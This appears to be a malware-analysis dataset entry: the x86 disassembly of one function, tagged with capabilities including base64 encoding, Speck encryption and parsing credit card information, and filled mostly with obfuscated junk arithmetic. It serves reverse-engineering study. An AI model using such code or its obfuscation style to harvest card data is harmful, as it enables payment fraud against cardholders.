Function at 0x1002c850
Capabilities:
Accept command line arguments
Encode data using base64
Encrypt data using speck
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5044
call fcn.10074020
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xd40], 0xfe81
mov dword [ebp - 0xd3c], eax
mov byte [ebp - 2], 0x80
mov dword [ebp - 0x28], 0xd1b3eeda
mov dword [ebp - 0x18], 0x5c85bd50
movzx ecx, word [0x100a2118]
mov dword [ebp - 0x38], ecx
mov edx, 0x35e0
mov word [ebp - 8], dx
xor eax, eax
mov dword [ebp - 0x60], 0xba55
mov dword [ebp - 0x5c], eax
mov cx, word [0x100a2118]
mov byte [ebp - 1], cl
movzx edx, byte [str.HeapSize]
mov dword [ebp - 0x40], edx
xor eax, eax
mov dword [ebp - 0x24], 0xf06f
mov dword [ebp - 0x20], eax
mov ecx, dword [0x100a20dc]
xor edx, edx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
movzx edx, word [0x100a20e0]
mov dword [ebp - 0x4c], edx
mov eax, 0xfffffccb
mov word [ebp - 0xc], ax
mov cx, word [0x100a2118]
mov word [ebp - 0x14], cx
mov byte [ebp - 3], 0x97
movzx edx, word [0x100a2124]
mov dword [ebp - 0x2c], edx
mov ax, word [0x100a2118]
mov word [ebp - 0x10], ax
mov ecx, dword [0x100a20dc]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x3c], 0xa1115ea
mov dword [ebp - 0x64], 0x9db3
mov dword [ebp - 0x58], 0xd093
xor edx, edx
mov dword [ebp - 0x54], 0x66d99062
mov dword [ebp - 0x50], edx
mov eax, 0x5df01
mov dword [ebp - 0xd48], 0x50168120
mov dword [ebp - 0xd44], eax
mov cx, word [0x100a20d0]
mov word [ebp - 0x6ac], cx
mov dx, word [0x100a20e4]
mov word [ebp - 0x6b0], dx
mov dword [ebp - 0xc84], 0xd237e8a5
mov eax, 0xb871
mov word [ebp - 0x6b4], ax
mov ecx, 0xdcbb5
mov dword [ebp - 0xd50], 0x97693df7
mov dword [ebp - 0xd4c], ecx
mov byte [ebp - 0x195], 0x96
mov edx, dword [0x100a20dc]
mov dword [ebp - 0xc88], edx
mov eax, dword [0x100a20dc]
mov dword [ebp - 0xc8c], eax
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0xc90], edx
mov dword [ebp - 0xc94], ecx
mov byte [ebp - 0x1d5], 0x15
mov eax, 0x789af
mov dword [ebp - 0xd58], 0x1d067db0
mov dword [ebp - 0xd54], eax
mov ecx, dword [0x100a20d0]
mov edx, dword [0x100a20d4]
mov dword [ebp - 0xd60], ecx
mov dword [ebp - 0xd5c], edx
mov eax, dword [0x100a20dc]
xor ecx, ecx
mov dword [ebp - 0xd68], eax
mov dword [ebp - 0xd64], ecx
mov dword [ebp - 0xc98], 0x511bed51
mov edx, dword [0x100a20f8]
mov eax, dword [0x100a20fc]
mov dword [ebp - 0xd70], edx
mov dword [ebp - 0xd6c], eax
mov ecx, dword [0x100a20e4]
mov dword [ebp - 0xc9c], ecx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0xca0], eax
mov word [ebp - 0x6b8], dx
mov ecx, 0x90
mov word [ebp - 0x6bc], cx
mov eax, dword [0x100a2104]
cdq
mov dword [ebp - 0xd78], eax
mov dword [ebp - 0xd74], edx
movzx eax, byte [str.HeapSize]
cdq
mov dword [ebp - 0xd80], eax
mov dword [ebp - 0xd7c], edx
mov edx, 0xe825
mov word [ebp - 0x6c0], dx
mov dword [ebp - 0xca4], 0xe6
mov dword [ebp - 0xca8], 0x7f
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
push 0x4a46
push 0x104e73c9
push ecx
push eax
call fcn.10073ef0
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
push 0
push 0xf783
mov edx, dword [0x100a20d4]
push edx
mov eax, dword [0x100a20d0]
push eax
call fcn.10073ef0
mov dword [ebp - 0x58], eax
imul ecx, dword [0x100a2100], 0xb1
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
and eax, ecx
and esi, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], esi
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x168], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov dword [0x100a2128], 1
mov edx, dword [ebp - 0x58]
shl edx, 2
mov dword [ebp - 0x3c], edx
movsx eax, byte [0x100a203b]
add eax, dword [0x100a2128]
movsx ecx, byte [0x100a203b]
sub ecx, eax
mov byte [0x100a203b], cl
mov edx, 0x947ff
mov dword [0x100a20f8], 0x5821965e
mov dword [0x100a20fc], edx
movzx eax, byte [ebp - 3]
and eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x168]
add ecx, 0x927e
mov dword [ebp - 0x1f0], ecx
mov edx, dword [ebp - 0x168]
add edx, 0x19ad
mov dword [ebp - 0xcac], edx
mov eax, dword [ebp - 0x58]
cdq
mov dword [ebp - 0x794], eax
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x790]
cmp eax, dword [0x100a20fc]
jl 0x1002cbce
jg 0x1002cbc2
mov ecx, dword [ebp - 0x794]
cmp ecx, dword [0x100a20f8]
jb 0x1002cbce
mov dword [ebp - 0x49c], 1
jmp 0x1002cbd8
mov dword [ebp - 0x49c], 0
cmp dword [ebp - 0x58], 0x5b
jl 0x1002cbea
mov dword [ebp - 0x4a0], 1
jmp 0x1002cbf4
mov dword [ebp - 0x4a0], 0
mov edx, dword [ebp - 0x49c]
cmp edx, dword [ebp - 0x4a0]
je 0x1002cc10
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
movzx eax, ax
mov dword [ebp - 0x58], eax
jmp 0x1002cc6a
cmp dword [0x100a20dc], 0
je 0x1002cc6a
mov ecx, dword [0x100a20d0]
sub ecx, 0x5e9a
mov dword [ebp - 0x4c], ecx
movsx eax, byte [0x100a203b]
cdq
sub eax, 0xa94c2b04
mov dword [ebp - 0x2c], eax
mov dword [0x100a2120], 8
cmp dword [ebp - 0x18], 0
je 0x1002cc56
mov edx, dword [0x100a20d8]
mov dword [ebp - 0x4a4], edx
jmp 0x1002cc61
mov eax, dword [0x100a2128]
mov dword [ebp - 0x4a4], eax
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x168]
add edx, 0x5967
mov dword [ebp - 0xcb0], edx
xor eax, eax
mov dword [0x100a2148], 1
mov dword [0x100a214c], eax
movzx ecx, word [0x100a2124]
imul edx, ecx, 0x3b3d
mov word [0x100a20f0], dx
push 0x5f850
push 0x3aca0d12
mov eax, dword [0x100a20d4]
push eax
mov ecx, dword [0x100a20d0]
push ecx
call fcn.10073ef0
mov ecx, eax
mov eax, dword [0x100a20f4]
cdq
sub eax, ecx
mov dword [0x100a20f4], eax
mov edx, 2
imul eax, edx, 0x107b
movzx eax, word [eax + 0x100eea78]
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
sub ecx, eax
sbb esi, edx
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], esi
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x4ac], edx
mov dword [ebp - 0x4a8], eax
mov ecx, dword [ebp - 0x4ac]
or ecx, dword [ebp - 0x4a8]
je 0x1002cd3b
cmp dword [ebp - 0x4ac], 1
jne 0x1002cd36
cmp dword [ebp - 0x4a8], 0
je 0x1002cdd3
jmp 0x1002ce68
movzx eax, word [ebp - 0x14]
cdq
add eax, dword [ebp - 0x34]
mov word [ebp - 0x14], ax
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0xcb4], eax
add edx, 0x16ee
mov dword [0x100a2114], edx
movzx ecx, word [0x100a2118]
mov eax, dword [ebp - 0x28]
sub eax, ecx
cdq
mov ecx, eax
movsx eax, byte [0x100a203b]
cdq
sub eax, 0x2fbec827
add ecx, eax
mov byte [0x100a207a], cl
movzx eax, word [0x100a20e0]
cdq
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], esi
mov edx, dword [ebp - 0x34]
or edx, dword [ebp - 0x30]
je 0x1002cdb7
movzx eax, word [0x100a2138]
mov dword [ebp - 0x4d4], eax
jmp 0x1002cdc3
mov ecx, dword [0x100a20d8]
mov dword [ebp - 0x4d4], ecx
mov dx, word [ebp - 0x4d4]
mov word [ebp - 0x14], dx
jmp 0x1002ce68
mov eax, 0xfffff8ff
mov word [0x100a20f0], ax
movzx eax, byte [0x100a207a]
sar eax, 2
cdq
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
mov cl, 7
call fcn.10073f50
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
mov ecx, dword [0x100a2c3c]
mov dword [0x100a2120], ecx
cmp dword [ebp - 0x40], 0
jne 0x1002ce25
mov dword [ebp - 0x4d8], 1
jmp 0x1002ce2f
mov dword [ebp - 0x4d8], 0
movzx edx, byte [str.HeapSize]
movsx eax, byte [0x100a203b]
sub edx, eax
movzx ecx, byte [ebp - 3]
not ecx
mov eax, dword [0x100a2114]
sub eax, ecx
add edx, eax
movzx ecx, byte [ebp - 3]
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x4d8]
sub ecx, eax
not ecx
add edx, ecx
mov dword [0x100a2120], edx
mov byte [0x100a207a], 9
mov ecx, dword [ebp - 0x60]
or ecx, dword [ebp - 0x5c]
jne 0x1002ce83
mov dword [ebp - 0x1e0], 1
jmp 0x1002ce8d
mov dword [ebp - 0x1e0], 0
mov edx, dword [0x100a2140]
or edx, dword [0x100a2144]
jne 0x1002cea7
mov dword [ebp - 0x1e4], 1
jmp 0x1002ceb1
mov dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x48]
or eax, dword [ebp - 0x44]
jne 0x1002cec5
mov dword [ebp - 0x1e8], 1
jmp 0x1002cecf
mov dword [ebp - 0x1e8], 0
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x1e0]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1e4]
imul eax, dword [ebp - 0x1e8]
movzx edx, byte [ebp - 2]
movzx esi, word [ebp - 8]
not esi
add edx, esi
xor eax, edx
not eax
cdq
add ecx, eax
not ecx
mov byte [0x100a2027], cl
cmp dword [ebp - 0x1c], 0
jne 0x1002cf19
mov dword [ebp - 0x1ec], 1
jmp 0x1002cf23
mov dword [ebp - 0x1ec], 0
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov dword [ebp - 0xcb8], edx
sub ecx, eax
movsx eax, word [0x100a2110]
add eax, dword [ebp - 0x1ec]
cdq
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, 1
imul ecx, eax, 0x4b93
mov dl, byte [0x100a20dc]
mov byte [ecx + 0x10222d80], dl
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov cl, 1
call fcn.10073f30
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x50], eax
movsx eax, word [0x100a20f0]
cdq
add eax, 0x799b3d4f
mov dword [0x100a20d8], eax
movzx ecx, byte [0x100a207a]
movzx edx, word [ebp - 8]
add edx, 1
cmp ecx, edx
jne 0x1002d280
mov eax, dword [0x100a20d8]
sub eax, dword [ebp - 0x34]
mov dword [0x100a20d8], eax
movzx eax, word [0x100a2124]
cdq
mov ecx, eax
sub ecx, dword [0x100a20d0]
movzx eax, word [0x100a2124]
cdq
sub eax, ecx
mov word [0x100a2124], ax
mov eax, dword [0x100a2104]
cdq
mov ecx, eax
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0xcbc], eax
add ecx, edx
mov eax, dword [0x100a2104]
cdq
sub eax, ecx
mov dword [0x100a2104], eax
mov ecx, dword [0x100a2140]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x100a2120], eax
cmp dword [0x100a2120], 0
jge 0x1002d091
movzx edx, word [0x100a211c]
imul eax, edx, 0x67
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [0x100a2144]
push eax
mov eax, dword [0x100a2140]
push eax
push edx
push ecx
call fcn.10073ef0
mov dword [ebp - 0x18], eax
movsx eax, byte [str.y4The_server_is_requ]
cdq
push 0x60db4
push 0xc87573d4
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov eax, dword [0x100a2128]
cdq
sub eax, ecx
mov dword [0x100a2128], eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
push 0x1a359
push 0xcb32b6b0
push eax
push edx
call fcn.10073ef0
mov ecx, eax
mov eax, dword [ebp - 0x1c]
cdq
sub eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x1002d138
cmp dword [ebp - 0x1c], 0
je 0x1002d138
movsx eax, byte [str.y4The_server_is_requ]
cdq
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xcc0], ecx
xor eax, edx
mov word [0x100a20e0], ax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
push eax
push edx
mov ecx, dword [0x100a20d4]
push ecx
mov edx, dword [0x100a20d0]
push edx
call fcn.10073ef0
add eax, dword [0x100a20d0]
adc edx, dword [0x100a20d4]
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
movsx eax, word [0x100a20c8]
imul eax, dword [0x100a20dc]
add eax, dword [0x100a20dc]
mov dword [0x100a20dc], eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0xcc4], edx
add ecx, 0xfef9
mov dword [ebp - 0x4c], ecx
movzx eax, byte [ebp - 3]
mov dword [ebp - 0x40], eax
movzx ecx, word [0x100a20e0]
add ecx, dword [ebp - 0x18]
movzx edx, word [0x100a20e0]
sub edx, ecx
mov word [0x100a20e0], dx
movzx eax, byte [0x100a207b]
cmp eax, 1
jne 0x1002d280
movzx ecx, word [ebp - 0x10]
movzx edx, word [0x100a2138]
cmp ecx, edx
jl 0x1002d1ca
movzx eax, word [0x100a211c]
test eax, eax
je 0x1002d1c8
movzx eax, byte [ebp - 1]
cdq
sub eax, 0xa71e4a8d
sbb edx, 0x93c92
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movsx eax, byte [str.y4The_server_is_requ]
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [0x100a2138]
movsx edx, word [0x100a20c8]
xor eax, edx
cdq
mov edi, dword [ebp - 0x60]
not edi
mov ebx, dword [ebp - 0x5c]
not ebx
add eax, edi
adc edx, ebx
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
movzx eax, word [ebp - 0x14]
sub eax, 0x9daa
mov byte [ebp - 1], al
jmp 0x1002d203
movzx ecx, word [ebp - 8]
not ecx
add ecx, dword [0x100a20e4]
cmp dword [ebp - 0x18], ecx
jb 0x1002d203
movzx edx, byte [0x100a207a]
sub edx, 0x70433510
mov byte [ebp - 1], dl
mov al, byte [0x100a2c3c]
mov byte [0x100a2027], al
movzx ecx, byte [ebp - 3]
sub ecx, 0x87da
mov word [ebp - 8], cx
jmp 0x1002d280
mov byte [0x100a207a], 9
movzx eax, word [ebp - 8]
cdq
mov edx, dword [0x100a2130]
mov ecx, dword [0x100a2134]
mov dword [ebp - 0xcc8], ecx
xor eax, edx
mov word [ebp - 8], ax
movzx edx, word [0x100a20e0]
movzx eax, byte [ebp - 3]
xor edx, eax
movzx ecx, word [0x100a20e0]
imul ecx, edx
mov word [0x100a20e0], cx
movzx edx, word [0x100a20e0]
imul eax, edx, 0xb7
mov dword [ebp - 0x28], eax
movzx ecx, byte [str.HeapSize]
sub ecx, 0x36b1c091
mov dword [ebp - 0x4c], ecx
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0xccc], eax
mov word [0x100a20e0], dx
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
sub ecx, 1
sbb edx, 0
mov dword [0x100a2108], ecx
mov dword [0x100a210c], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
push 0xd2cd3
push 0xd8f57e53
push ecx
push eax
call fcn.10073ef0
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 3]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 3], al
mov edx, dword [0x100a20e4]
add edx, 0xa8
and edx, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], edx
mov eax, dword [0x100a20e4]
sub eax, 1
mov dword [0x100a20e4], eax
movsx ecx, word [0x100a20f0]
imul edx, ecx, 0xf5ba
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1f0]
sub eax, dword [ebp - 0x1f0]
add eax, 0x453
mov dword [ebp - 0x73c], eax
movsx eax, word [ebp - 0xc]
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xcd0], edx
sub ecx, eax
movzx eax, byte [str.HeapSize]
cdq
sub ecx, eax
mov byte [0x100a207a], cl
movzx eax, byte [str.HeapSize]
sub eax, 0x10
mov dword [0x100a20dc], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x79c], ecx
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x79c]
or eax, dword [ebp - 0x798]
jne 0x1002d40a
xor ecx, ecx
mov dword [ebp - 0x7a4], 1
mov dword [ebp - 0x7a0], ecx
jmp 0x1002d415
xorps xmm0, xmm0
movlpd qword [ebp - 0x7a4], xmm0
mov edx, dword [ebp - 0x7a4]
sub edx, 0x307b58b0
mov byte [ebp - 3], dl
movzx eax, word [0x100a2118]
cdq
mov ecx, eax
sub ecx, dword [ebp - 0x34]
movzx eax, word [0x100a2118]
cdq
add eax, ecx
mov word [0x100a2118], ax
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x16c], edx
movzx eax, word [0x100a2138]
test eax, eax
je 0x1002d47d
movzx ecx, word [0x100a211c]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x1002d478
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x18], eax
jmp 0x1002d506
imul edx, dword [0x100a20dc], 0x2e
xor eax, eax
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
sub ecx, 0x5619126b
sbb edx, 0
mov dword [0x100a2150], ecx
mov dword [0x100a2154], edx
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
mov cl, byte [0x100a2c3c]
mov byte [0x100a203b], cl
movzx edx, byte [ebp - 3]
test edx, edx
je 0x1002d4dd
movzx eax, byte [ebp - 1]
cdq
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], edx
jmp 0x1002d4ef
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], ecx
mov edx, dword [ebp - 0x4b4]
mov eax, dword [ebp - 0x4b0]
mov dword [0x100a2140], edx
mov dword [0x100a2144], eax
mov ecx, dword [ebp - 0x16c]
add ecx, 0x66c
mov dword [ebp - 0x770], ecx
movsx edx, word [ebp - 0xc]
sub edx, 0x349cffd3
mov dword [0x100a20d8], edx
mov eax, dword [0x100a2154]
mov ecx, dword [0x100a20d0]
sub ecx, dword [0x100a2150]
mov edx, dword [0x100a20d4]
sbb edx, eax
or ecx, dword [0x100a20d0]
or edx, dword [0x100a20d4]
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], edx
mov eax, dword [0x100a2c3c]
mov dword [0x100a20dc], eax
mov ecx, dword [ebp - 0x16c]
add ecx, 0x2b6
mov dword [ebp - 0x774], ecx
movzx edx, byte [ebp - 1]
cmp dword [ebp - 0x28], edx
jle 0x1002d5f3
mov eax, dword [0x100a20d8]
xor ecx, ecx
mov dword [ebp - 0x7ac], eax
mov dword [ebp - 0x7a8], ecx
cmp dword [ebp - 0x7ac], 0xba47f1bb
jne 0x1002d5b5
cmp dword [ebp - 0x7a8], 0x84657
jne 0x1002d5b5
mov dword [ebp - 0x1f4], 1
jmp 0x1002d5bf
mov dword [ebp - 0x1f4], 0
mov edx, dword [0x100a2104]
cmp edx, dword [ebp - 0x1f4]
jg 0x1002d5d9
mov dword [ebp - 0x1f8], 1
jmp 0x1002d5e3
mov dword [ebp - 0x1f8], 0
mov eax, dword [ebp - 0x1f8]
not eax
test eax, eax
je 0x1002d6d0
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0x7b4], eax
mov dword [ebp - 0x7b0], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x7b4]
jne 0x1002d61a
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x7b0]
je 0x1002d61f
jmp 0x1002d6cb
movsx eax, byte [str.y4The_server_is_requ]
test eax, eax
je 0x1002d669
mov ecx, dword [ebp - 0x60]
add ecx, 0x46846a5f
mov dword [0x100a2120], ecx
mov eax, dword [ebp - 0x28]
cdq
mov ecx, eax
xor ecx, dword [ebp - 0x60]
movzx eax, word [0x100a20e0]
cdq
add ecx, eax
mov word [ebp - 0x10], cx
mov edx, dword [0x100a20dc]
mov dword [0x100a20d8], edx
movzx eax, word [ebp - 8]
imul eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
jmp 0x1002d6cb
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x1002d6cb
movsx edx, byte [str.y4The_server_is_requ]
xor edx, 0xaa2
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov eax, dword [0x100a2114]
cdq
sub eax, 0x6bb123e2
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
add ecx, 0x36b0
adc edx, 0
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x4c]
cdq
mov ecx, eax
mov esi, edx
add ecx, dword [ebp - 0x60]
adc esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x4c]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x4c], eax
jmp 0x1002d927
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0x7bc], edx
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 0xfff00ecd
jb 0x1002d715
ja 0x1002d701
cmp dword [ebp - 0x7bc], 0x52234638
jb 0x1002d715
xor ecx, ecx
mov dword [ebp - 0x630], 1
mov dword [ebp - 0x62c], ecx
jmp 0x1002d720
xorps xmm0, xmm0
movlpd qword [ebp - 0x630], xmm0
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
sub edx, dword [0x100a2140]
sbb eax, dword [0x100a2144]
mov dword [ebp - 0x7c4], edx
mov dword [ebp - 0x7c0], eax
mov ecx, dword [ebp - 0x62c]
cmp ecx, dword [ebp - 0x7c0]
jb 0x1002d7d7
ja 0x1002d765
mov edx, dword [ebp - 0x630]
cmp edx, dword [ebp - 0x7c4]
jbe 0x1002d7d7
mov ecx, 8
shl ecx, 4
movsx eax, word [ebp - 0xc]
cdq
mov esi, dword [ecx + 0x102c1cec]
push esi
mov ecx, dword [ecx + 0x102c1ce8]
push ecx
push edx
push eax
call fcn.10073ef0
mov word [ebp - 0xc], ax
mov eax, dword [ebp - 0x38]
cdq
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
movzx edx, byte [str.HeapSize]
add edx, 0x4114adc5
mov word [0x100a20f0], dx
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
push esi
push ecx
push eax
push edx
call fcn.10073ef0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
jmp 0x1002d927
movzx ecx, word [0x100a20e0]
test ecx, ecx
je 0x1002d7ff
mov dl, byte [ebp - 2]
sub dl, 1
mov byte [ebp - 2], dl
mov eax, 0x4cb87
mov dword [ebp - 0x54], 0x42d55830
mov dword [ebp - 0x50], eax
jmp 0x1002d927
movsx ecx, byte [0x100a203b]
test ecx, ecx
jne 0x1002d927
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x7cc], edx
mov dword [ebp - 0x7c8], eax
mov ecx, dword [ebp - 0x7cc]
or ecx, dword [ebp - 0x7c8]
je 0x1002d842
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x638], edx
mov dword [ebp - 0x634], eax
jmp 0x1002d856
mov ecx, dword [0x100a20dc]
xor edx, edx
mov dword [ebp - 0x638], ecx
mov dword [ebp - 0x634], edx
mov ax, word [ebp - 0x638]
mov word [0x100a2118], ax
mov ecx, dword [ebp - 0x48]
or ecx, dword [ebp - 0x44]
jne 0x1002d877
mov dword [ebp - 0x1fc], 1
jmp 0x1002d881
mov dword [ebp - 0x1fc], 0
cmp dword [ebp - 0x28], 0
jne 0x1002d89b
xor edx, edx
mov dword [ebp - 0x4e8], 1
mov dword [ebp - 0x4e4], edx
jmp 0x1002d8a6
xorps xmm0, xmm0
movlpd qword [ebp - 0x4e8], xmm0
mov eax, dword [ebp - 0x1fc]
add eax, 0xf4
not eax
cdq
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
add eax, dword [ebp - 0x60]
adc ecx, dword [ebp - 0x5c]
add esi, eax
adc edi, ecx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov ecx, dword [ebp - 0x4e4]
push ecx
mov ecx, dword [ebp - 0x4e8]
push ecx
push eax
push edx
call fcn.10073ef0
mov ecx, eax
mov ebx, edx
movsx eax, word [0x100a20c8]
not eax
cdq
sub ecx, eax
sbb ebx, edx
push ebx
push ecx
push edi
push esi
call fcn.10073ef0
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
movzx edx, word [ebp - 0x14]
add edx, 0x9faf
mov byte [ebp - 1], dl
mov eax, dword [0x100a2140]
add eax, 0x7ca9
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0x16c]
add ecx, 0x64e
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xcd4], eax
mov dword [ebp - 0x3c], edx
movzx eax, word [0x100a2118]
cdq
add eax, 0x659e58d9
adc edx, 0x2725e
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
add ecx, eax
adc esi, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
movsx edx, word [0x100a2110]
imul eax, edx, 0xcb
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov dword [0x100a2140], 2
mov dword [0x100a2144], ecx
mov ecx, dword [0x100a20f8]
sub ecx, 0xaef7f2a
movzx eax, word [0x100a2118]
cdq
add eax, ecx
mov word [0x100a2118], ax
movsx edx, word [0x100a2110]
sub edx, 0x39
mov byte [0x100a207b], dl
movsx eax, word [0x100a20c8]
cdq
mov ecx, dword [0x100a214c]
sub eax, dword [0x100a2148]
sbb edx, ecx
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x7d0], edx
mov edx, dword [ebp - 0x7d4]
or edx, dword [ebp - 0x7d0]
jne 0x1002d9fb
mov byte [ebp - 0x65], 1
jmp 0x1002d9ff
mov byte [ebp - 0x65], 0
mov al, byte [ebp - 0x65]
mov byte [ebp - 3], al
movzx ecx, byte [ebp - 2]
add ecx, 0xddaa
mov dword [0x100a20d8], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7dc], edx
mov dword [ebp - 0x7d8], eax
mov ecx, dword [ebp - 0x7dc]
or ecx, dword [ebp - 0x7d8]
jne 0x1002da41
mov dword [ebp - 0x200], 1
jmp 0x1002da4b
mov dword [ebp - 0x200], 0
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x7e4], edx
mov dword [ebp - 0x7e0], eax
mov ecx, dword [ebp - 0x7e4]
or ecx, dword [ebp - 0x7e0]
jne 0x1002da7c
mov dword [ebp - 0x204], 1
jmp 0x1002da86
mov dword [ebp - 0x204], 0
mov edx, dword [ebp - 0x200]
imul edx, dword [ebp - 0x204]
mov eax, dword [0x100a20f4]
imul eax, edx
not eax
cdq
push 0xa22dc
push 0x9170abba
push edx
push eax
call fcn.10073ef0
not eax
mov word [0x100a211c], ax
mov eax, dword [0x100a2140]
mov ecx, dword [0x100a2144]
mov dword [ebp - 0x1d4], eax
